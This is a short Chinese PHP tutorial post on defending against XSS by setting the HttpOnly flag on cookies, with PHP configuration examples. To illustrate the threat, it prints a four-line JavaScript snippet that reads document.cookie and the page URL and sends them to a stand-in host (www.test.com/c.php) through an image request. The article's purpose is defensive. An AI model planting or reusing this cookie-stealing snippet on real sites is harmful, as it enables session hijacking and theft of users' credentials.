xss防御之php利用httponly防xss攻击
发布:smiling 来源: PHP粉丝网 添加日期:2020-11-03 13:33:03 浏览: 评论:0
这篇文章主要介绍了xss防御之php利用httponly防xss攻击,下面是PHP设置HttpOnly的方法,需要的朋友可以参考下。
xss的概念就不用多说了,它的危害是极大的,这就意味着一旦你的网站出现xss漏洞,就可以执行任意的js代码,最可怕的是攻击者利用js获取cookie或者session劫持,如果这里面包含了大量敏感信息(身份信息,管理员信息)等,那完了。。。
如下js获取cookie信息:
- url=document.top.location.href;
- cookie=document.cookie;
- c=new Image();
- c.src='http://www.test.com/c.php?c='+cookie+'&u='+url;
一般cookie都是从document对象中获取的,现在浏览器在设置Cookie的时候一般都接受一个叫做HttpOnly的参数,跟domain等其他参数一样,一旦这个HttpOnly被设置,你在浏览器的document对象中就看不到Cookie了。
PHP设置HttpOnly:
- //在php.ini中,session.cookie_httponly = ture 来开启全局的Cookie的HttpOnly属性
- ini_set("session.cookie_httponly", 1);
- //或者setcookie()的第七个参数设置为true
- session_set_cookie_params(0, NULL, NULL, NULL, TRUE);
对于PHP5.1以前版本的PHP通过:
header("Set-Cookie: hidden=value; httpOnly");
最后,HttpOnly不是万能的!
Tags: xss防御 httponly xss攻击
相关文章
- ·php预防XSS攻击的一些方法整理(2014-08-21)
- ·整理php防注入和XSS攻击通用过滤(2021-06-17)
- ·PHP实现的防止跨站和xss攻击代码【来自阿里云】(2021-09-01)
推荐文章
热门文章
最新评论文章
- 写给考虑创业的年轻程序员(10)
- PHP新手上路(一)(7)
- 惹恼程序员的十件事(5)
- PHP邮件发送例子,已测试成功(5)
- 致初学者:PHP比ASP优秀的七个理由(4)
- PHP会被淘汰吗?(4)
- PHP新手上路(四)(4)
- 如何去学习PHP?(2)
- 简单入门级php分页代码(2)
- php中邮箱email 电话等格式的验证(2)